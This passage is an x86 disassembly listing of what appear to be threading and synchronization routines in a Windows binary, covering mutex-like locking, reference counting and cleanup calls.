; ---------------------------------------------------------------------------


loc_430D98:				; CODE XREF: sub_430C00+Aj
					; sub_430C00+14j
		pop	esi
		mov	eax, 16h
		pop	ebp
		retn
sub_430C00	endp

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430E10	proc near		; CODE XREF: sub_430C00+BFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		test	edi, edi
		jz	loc_430EAE
		mov	esi, [esp+14h+arg_4]
		test	esi, esi
		jnz	short loc_430E42
		or	eax, 0FFFFFFFFh


loc_430E2C:				; CODE XREF: sub_430E10+7Fj
		push	eax
		mov	eax, [edi]
		mov	ecx, [eax]
		push	ecx
		call	near ptr 276066Eh
		nop
		test	eax, eax
		jnz	short loc_430E9C
		pop	edi
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430E42:				; CODE XREF: sub_430E10+17j
		lea	eax, [esp+14h+var_C]
		push	eax
		call	near ptr 77C49113h
		nop
		mov	ecx, [esi+4]
		mov	eax, 431BDE83h
		add	ecx, 7A120h
		add	esp, 4
		mul	ecx
		mov	eax, [esi]
		mov	ecx, [esp+14h+var_C]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		mov	edx, [esp+14h+var_8]
		sub	eax, ecx
		and	edx, 0FFFFh
		sub	eax, edx
		jns	short loc_430E2C
		pop	edi
		mov	eax, 2
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430E9C:				; CODE XREF: sub_430E10+2Aj
		cmp	eax, 102h
		jnz	short loc_430EAE
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430EAE:				; CODE XREF: sub_430E10+Bj
					; sub_430E10+91j
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 0Ch
		retn
sub_430E10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430F00	proc near		; CODE XREF: sub_4010C3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	eax, ebx
		jz	loc_430FA0
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_430FA0
		cmp	esi, 0FFFFFFFFh
		push	edi
		jz	short loc_430F95
		mov	eax, [esi+0Ch]
		mov	edi, 1
		cmp	eax, edi
		jz	short loc_430F4A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jnz	short loc_430F4A
		mov	ebx, edi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430F4A:				; CODE XREF: sub_430F00+2Aj
					; sub_430F00+40j
		cmp	[esi+8], edi
		jnz	short loc_430F58
		mov	eax, [esi+4]
		dec	eax
		mov	[esi+4], eax
		jnz	short loc_430F9A


loc_430F58:				; CODE XREF: sub_430F00+4Dj
		lea	edi, [esi+14h]
		mov	[esi+0Ch], ebx
		push	edi
		nop
		call	near ptr 7C901005h
		push	esi
		nop
		call	near ptr 27608D3h
		test	eax, eax
		jl	short loc_430F88
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430F88
		call	near ptr 77C1F2BCh
		nop
		mov	ebx, [eax]


loc_430F88:				; CODE XREF: sub_430F00+6Ej
					; sub_430F00+7Ej
		push	edi
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430F95:				; CODE XREF: sub_430F00+1Ej
		mov	ebx, 16h


loc_430F9A:				; CODE XREF: sub_430F00+56j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430FA0:				; CODE XREF: sub_430F00+Aj
					; sub_430F00+14j
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
sub_430F00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430FE0	proc near		; CODE XREF: sub_40177Bj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_431065
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_431065
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431002
		push	esi
		call	sub_401C03
		add	esp, 4
		mov	edi, eax


loc_431002:				; CODE XREF: sub_430FE0+15j
		mov	esi, [esi]
		test	edi, edi
		jnz	short loc_431060
		push	0FFFFFFFFh
		push	edi
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431033
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43102B
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43102B:				; CODE XREF: sub_430FE0+44j
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431033:				; CODE XREF: sub_430FE0+35j
		cmp	dword ptr [esi+8], 1
		jnz	short loc_43105B
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jz	short loc_43105B
		mov	eax, [esi+4]
		inc	eax
		mov	[esi+4], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43105B:				; CODE XREF: sub_430FE0+57j
					; sub_430FE0+6Dj
		mov	edi, 10h


loc_431060:				; CODE XREF: sub_430FE0+26j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431065:				; CODE XREF: sub_430FE0+Aj
					; sub_430FE0+10j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430FE0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4310A0:				; CODE XREF: ___:0040192Ej
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_40119A
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4310D0:				; CODE XREF: ___:00401587j
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_4018C0
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431100:				; CODE XREF: ___:0040148Dj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43110C
		mov	eax, [eax+4]
		retn
; ---------------------------------------------------------------------------


loc_43110C:				; CODE XREF: ___:00431106j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431120:				; CODE XREF: ___:00401BFEj
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jnz	short loc_431132
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431132:				; CODE XREF: ___:00431128j
		mov	esi, [eax]
		test	esi, esi
		jnz	short loc_431155
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_431155
		call	sub_401CEE
; ---------------------------------------------------------------------------
		dd 65E89056h, 0E8023FF1h, 0FFFD0B9Eh, 5EC0335Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_431155:				; CODE XREF: ___:00431136j
					; ___:0043113Dj
		mov	ecx, [eax+4]
		mov	eax, 431BDE83h
		add	ecx, 0F423Fh
		imul	ecx
		sar	edx, 12h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		lea	eax, [esi+esi*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [eax+eax*4]
		lea	edi, [edx+ecx*8]
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jnz	short loc_43118E
		pop	edi
		mov	eax, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43118E:				; CODE XREF: ___:00431184j
		mov	eax, [esi+30h]
		push	edi
		test	eax, eax
		jnz	short loc_4311F6
		mov	edx, [esi+38h]
		push	edx
		call	near ptr 276066Eh
		nop
		test	eax, eax
		jnz	short loc_4311E7
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402225
		mov	eax, [esi+0Ch]
		add	esp, 4
		cmp	eax, 3
		jge	short loc_4311D6
		push	edi
		mov	dword ptr [esi+0Ch], 3
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4311D6:				; CODE XREF: ___:004311B6j
		push	edi
		call	sub_4010C3
		add	esp, 4
		mov	eax, 3
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4311E7:				; CODE XREF: ___:004311A2j
		cmp	eax, 102h
		jz	short loc_4311FC
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4311F6:				; CODE XREF: ___:00431194j
		call	near ptr 28302B0h
		nop


loc_4311FC:				; CODE XREF: ___:004311ECj
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431250:				; CODE XREF: ___:00401014j
		push	ecx
		lea	eax, [esp+0]
		push	eax
		call	sub_401C26
		add	esp, 4
		test	eax, eax
		mov	eax, 1
		jnz	short loc_43126B
		mov	eax, [esp+0]


loc_43126B:				; CODE XREF: ___:00431265j
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431280	proc near		; CODE XREF: sub_401708j
		push	esi
		call	sub_401320
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		mov	esi, eax
		call	near ptr 27D0A0Ch
		nop
		push	offset aInterlockedcom ; "InterlockedCompareExchange"
		push	eax
		mov	dword_50E3E0, eax
		nop
		call	near ptr 27E0000h
		test	eax, eax
		mov	dword_50E3FC, eax
		jnz	short loc_4312CD
		mov	eax, dword_50E3E0
		mov	dword_50E3FC, offset sub_4012D0
		push	eax
		nop
		call	near ptr 27403B9h
		mov	dword_50E3E0, 0


loc_4312CD:				; CODE XREF: sub_431280+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_431280	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431300	proc near		; CODE XREF: sub_40161Dj
		mov	eax, dword_50E3E4
		test	eax, eax
		jz	short loc_431350
		mov	eax, dword_50E3E8
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 86E8501Ah, 8BFFFD04h
		dd 50E3E80Dh, 4C48300h,	6A118Bh, 0C5E89052h, 0E80230ECh
		dd 0FFFD02FBh, 50E3E0A1h, 74C08500h, 0E8905007h, 230F069h
; ---------------------------------------------------------------------------


loc_431350:				; CODE XREF: sub_431300+7j
		mov	eax, 1
		retn
sub_431300	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431380	proc near		; CODE XREF: sub_4017B2j
		mov	eax, 1
		retn
sub_431380	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4313A0	proc near		; CODE XREF: sub_4017C1j
		mov	eax, dword_50E3E4
		test	eax, eax
		jz	short loc_4313DB
		mov	eax, dword_50E3E8
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0E6E8501Ah,	8BFFFD03h
		dd 50E3E80Dh, 4C48300h,	6A118Bh, 0EC26E852h
; ---------------------------------------------------------------------------
		xor	[edx], al
		nop


loc_4313DB:				; CODE XREF: sub_4313A0+7j
		mov	eax, 1
		retn
sub_4313A0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431410:				; CODE XREF: ___:00402239j
		push	ecx
		push	esi
		push	offset dword_50E9C0
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, dword_50E3F0
		test	eax, eax
		mov	[esp+4], eax
		jz	short loc_43144E


loc_43142C:				; CODE XREF: ___:0043144Cj
		test	esi, esi
		jnz	short loc_43144E
		lea	eax, [esp+4]
		push	eax
		call	sub_401604
		mov	ecx, [esp+8]
		mov	esi, eax
		add	esp, 4
		mov	eax, [ecx+18h]
		test	eax, eax
		mov	[esp+4], eax
		jnz	short loc_43142C


loc_43144E:				; CODE XREF: ___:0043142Aj
					; ___:0043142Ej
		push	offset dword_50E9C0
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		neg	eax
		sbb	eax, eax
		and	eax, 0Bh
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431490	proc near		; CODE XREF: sub_4012B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_4314A9
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4314A9
		cmp	dword ptr [eax], 0C4C0FFEEh
		jnz	short loc_4314A9
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4314A9:				; CODE XREF: sub_431490+6j
					; sub_431490+Cj ...
		mov	eax, 1
		retn
sub_431490	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4314C0	proc near		; CODE XREF: sub_401320j
		mov	eax, dword_50E3E4
		test	eax, eax
		jz	short loc_4314CF
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4314CF:				; CODE XREF: sub_4314C0+7j
		push	0
		push	offset dword_50E3E8
		mov	dword_50E3E4, 1
		call	sub_4015FF
		add	esp, 8
		test	eax, eax
		jnz	short loc_4314FE
		push	eax
		push	offset dword_50E3EC
		call	sub_4015FF
		add	esp, 8
		test	eax, eax
		jz	short loc_431503


loc_4314FE:				; CODE XREF: sub_4314C0+2Aj
		call	sub_40163B


loc_431503:				; CODE XREF: sub_4314C0+3Cj
		push	esi
		mov	esi, dword_50F85C
		push	offset dword_50E900
		call	esi
		push	offset dword_50E960
		call	esi
		push	offset dword_50E9C0
		call	esi
		push	offset dword_50E940
		call	esi
		push	offset dword_50E9A0
		call	esi
		push	offset dword_50E980
		call	esi
		mov	eax, dword_50E3E4
		pop	esi
		retn
sub_4314C0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431560	proc near		; CODE XREF: sub_40163Bj
		mov	eax, dword_50E3E4
		test	eax, eax
		jz	locret_431619
		mov	eax, dword_50E3E8
		test	eax, eax
		jz	short loc_431589
		push	eax
		call	sub_401AA0
		add	esp, 4
		mov	dword_50E3E8, 0


loc_431589:				; CODE XREF: sub_431560+14j
		mov	eax, dword_50E3EC
		test	eax, eax
		jz	short loc_4315A5
		push	eax
		call	sub_401AA0
		add	esp, 4
		mov	dword_50E3EC, 0


loc_4315A5:				; CODE XREF: sub_431560+30j
		push	esi
		push	offset dword_50E900
		nop
		call	near ptr 7C901005h
		mov	eax, dword_44574C
		cmp	eax, 1
		jz	short loc_4315D3
		push	edi
		mov	edi, dword_50FAC4


loc_4315C2:				; CODE XREF: sub_431560+70j
		mov	esi, [eax+8]
		push	eax
		call	edi	; free
		add	esp, 4
		cmp	esi, 1
		mov	eax, esi
		jnz	short loc_4315C2
		pop	edi


loc_4315D3:				; CODE XREF: sub_431560+59j
		push	offset dword_50E900
		nop
		call	near ptr 7C9010EDh
		mov	esi, dword_50F858
		push	offset dword_50E980
		call	esi
		push	offset dword_50E9A0
		call	esi
		push	offset dword_50E940
		call	esi
		push	offset dword_50E9C0
		call	esi
		push	offset dword_50E960
		call	esi
		push	offset dword_50E900
		call	esi
		mov	dword_50E3E4, 0
		pop	esi

locret_431619:				; CODE XREF: sub_431560+7j
		retn
sub_431560	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431650:				; CODE XREF: ___:loc_401B95j
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	eax
		mov	esi, [eax]
		mov	ecx, [eax+4]
		mov	edx, [eax+8]
		mov	[ebp-4], esi
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], edx
		nop
		call	near ptr 77C2C21Bh
		mov	eax, dword_50E3E8
		push	esi
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		mov	dword ptr [esi+0Ch], 1
		add	esi, 3Ch
		push	0
		push	esi
		call	sub_436A5C
; ---------------------------------------------------------------------------
		mov	edi, [ebp-4]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4316AC
		mov	ecx, [ebp-8]
		push	ecx
		call	dword ptr [ebp-0Ch]
		add	esp, 4
		mov	[edi+14h], eax
		mov	esi, eax
		jmp	short loc_4316B8
; ---------------------------------------------------------------------------


loc_4316AC:				; CODE XREF: ___:00431699j
		dec	eax
		jz	short loc_4316B5
		dec	eax
		or	esi, 0FFFFFFFFh
		jmp	short loc_4316B8
; ---------------------------------------------------------------------------


loc_4316B5:				; CODE XREF: ___:004316ADj
		mov	esi, [edi+14h]


loc_4316B8:				; CODE XREF: ___:004316AAj
					; ___:004316B3j
		cmp	dword ptr [edi+20h], 1
		jnz	short loc_4316D7
		call	sub_4017C1
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4316D7:				; CODE XREF: ___:004316BCj
		push	edi
		call	sub_40131B
		add	esp, 4
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431730	proc near		; CODE XREF: sub_4017ADj

var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4

		sub	esp, 84h
		push	ebx
		mov	ebx, [esp+88h+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_4317AA
		lea	esi, [ebx+2Ch]
		push	edi
		push	esi
		call	sub_402225
		push	esi
		mov	dword ptr [ebx+0Ch], 5
		call	sub_4010C3
		push	ebx
		call	sub_40131B
		mov	ecx, 21h
		mov	esi, ebx
		lea	edi, [esp+9Ch+var_84]
		push	ebx
		rep movsd
		call	sub_401BBD
		mov	eax, [esp+0A0h+var_4C]
		mov	esi, dword_50F8D8
		add	esp, 10h
		test	eax, eax
		pop	edi
		jz	short loc_431788
		push	eax
		call	esi


loc_431788:				; CODE XREF: sub_431730+53j
		lea	eax, [esp+8Ch+var_58]
		push	eax
		call	sub_40222F
		mov	eax, [esp+90h+var_80]
		add	esp, 4
		test	eax, eax
		jz	short loc_4317AA
		test	[esp+8Ch+var_8], 1
		jnz	short loc_4317AA
		push	eax
		call	esi


loc_4317AA:				; CODE XREF: sub_431730+11j
					; sub_431730+6Bj ...
		pop	esi
		pop	ebx
		add	esp, 84h
		retn
sub_431730	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4317F0	proc near		; CODE XREF: sub_401DC5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	14h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431811
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431811:				; CODE XREF: sub_4317F0+15j
		mov	edi, [esp+10h+arg_8]
		mov	ebp, [esp+10h+arg_4]
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	[esi+4], ebp
		lea	ebx, [edi+8]
		mov	[esi+8], edi
		push	ebx
		call	sub_402225
		add	esp, 4
		mov	[esp+10h+arg_4], eax
		test	eax, eax
		jz	short loc_431852
		push	esi
		call	sub_40222F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	eax, [esp+18h+arg_4]
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431852:				; CODE XREF: sub_4317F0+47j
		mov	eax, [edi+0Ch]
		push	ebx
		mov	[esi+10h], eax
		mov	[edi+0Ch], esi
		call	sub_4010C3
		add	esp, 4
		test	ebp, ebp
		jz	short loc_431877
		mov	ecx, [ebp+80h]
		mov	[esi+0Ch], ecx
		mov	[ebp+80h], esi


loc_431877:				; CODE XREF: sub_4317F0+76j
		mov	edx, [esp+10h+arg_0]
		pop	edi
		xor	eax, eax
		mov	[edx], esi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4317F0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4318C0	proc near		; CODE XREF: sub_40105Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_4318E7
		mov	eax, [esi+8]
		test	eax, eax
		jnz	short loc_4318E7
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_4318E7
		push	esi
		call	sub_40222F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 8


loc_4318E7:				; CODE XREF: sub_4318C0+7j
					; sub_4318C0+Ej ...
		pop	esi
		retn
sub_4318C0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431900	proc near		; CODE XREF: sub_40131Bj

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_43196D
		mov	esi, [ebx+80h]
		test	esi, esi
		jz	short loc_43196D
		push	edi


loc_431915:				; CODE XREF: sub_431900+6Aj
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_431968
		mov	edi, [esi+8]
		test	edi, edi
		jz	short loc_431943
		push	edi
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_431943
		mov	edi, [edi+4]
		test	edi, edi
		jz	short loc_431943
		push	eax
		call	edi	; free
		add	esp, 4


loc_431943:				; CODE XREF: sub_431900+27j
					; sub_431900+34j ...
		mov	eax, [esi+0Ch]
		mov	dword ptr [esi+4], 0
		push	esi
		mov	[ebx+80h], eax
		call	sub_4010C3
		push	esi
		call	sub_40105F
		mov	esi, [ebx+80h]
		add	esp, 8


loc_431968:				; CODE XREF: sub_431900+20j
		test	esi, esi
		jnz	short loc_431915
		pop	edi


loc_43196D:				; CODE XREF: sub_431900+8j
					; sub_431900+12j
		pop	esi
		pop	ebx
		retn
sub_431900	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431990	proc near		; CODE XREF: sub_401DD4j
		mov	eax, dword_50E3E8
		push	ebx
		push	edi
		push	eax
		call	sub_401190
sub_431990	endp

; ---------------------------------------------------------------------------
		db 8Bh,	5Ch, 24h
; ---------------------------------------------------------------------------
		adc	[ebx-47CFB3Ch],	al
		add	cl, [ebx-7CF28B08h]
		sti
		add	[eax+ecx+6Ah], esi
		add	eax, ebp
		mov	dword ptr [eax+eax*4-7A6F89h], 47F60674h
		jl	short near ptr loc_4319C0+1


loc_4319C0:				; CODE XREF: ___:004319BEj
		jz	short loc_4319E5
		push	esi
		mov	eax, ebx
		xor	esi, esi
		dec	eax
		jz	short loc_4319D2
		dec	eax
		jnz	short loc_4319D5
		or	esi, 0FFFFFFFFh
		jmp	short loc_4319D5
; ---------------------------------------------------------------------------


loc_4319D2:				; CODE XREF: ___:004319C8j
		mov	esi, [edi+14h]


loc_4319D5:				; CODE XREF: ___:004319CBj
					; ___:004319D0j
		call	sub_4017C1
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		pop	esi


loc_4319E5:				; CODE XREF: ___:loc_4319C0j
		push	1
		call	sub_401B0E
; ---------------------------------------------------------------------------
		dd 8304C483h, 57533CC7h, 80537BE8h, 90909077h, 90909090h
		dd 8 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431A20	proc near		; CODE XREF: sub_401B0Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_401122
sub_431A20	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_431A3F


loc_431A32:				; CODE XREF: ___:00431A3Dj
		push	esi
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_431A32


loc_431A3F:				; CODE XREF: ___:00431A30j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431A60:				; CODE XREF: ___:00401DDEj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431A80	proc near		; CODE XREF: sub_4012D0j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		lock cmpxchg [ecx], edx
		mov	[ebp+var_4], eax
		pop	edx
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_431A80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431AC0	proc near		; CODE XREF: sub_401C26j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		lea	eax, [esp+8+var_4]
		lea	ecx, [esp+8+var_8]
		push	esi
		push	eax
		push	ecx
		xor	esi, esi
		nop
		call	near ptr 27709E7h
		push	eax
		nop
		call	near ptr 2730A36h
		test	eax, eax
		jz	short loc_431B02
		mov	edx, [esp+0Ch+var_8]
		xor	ecx, ecx
		mov	eax, 1


loc_431AEC:				; CODE XREF: sub_431AC0+33j
		test	eax, edx
		jz	short loc_431AF1
		inc	ecx


loc_431AF1:				; CODE XREF: sub_431AC0+2Ej
		shl	eax, 1
		jnz	short loc_431AEC
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, esi
		pop	esi
		mov	[edx], ecx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_431B02:				; CODE XREF: sub_431AC0+1Fj
		mov	eax, 0Bh
		pop	esi
		add	esp, 8
		retn
sub_431AC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431B30	proc near		; CODE XREF: sub_40184Dj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E9A0
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431B64
		push	esi
		push	ecx
		call	sub_401F73
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E9A0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B64:				; CODE XREF: sub_431B30+17j
		test	eax, eax
		jnz	short loc_431B6D
		mov	esi, 16h


loc_431B6D:				; CODE XREF: sub_431B30+36j
		push	offset dword_50E9A0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_431B30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431BA0	proc near		; CODE XREF: sub_401852j

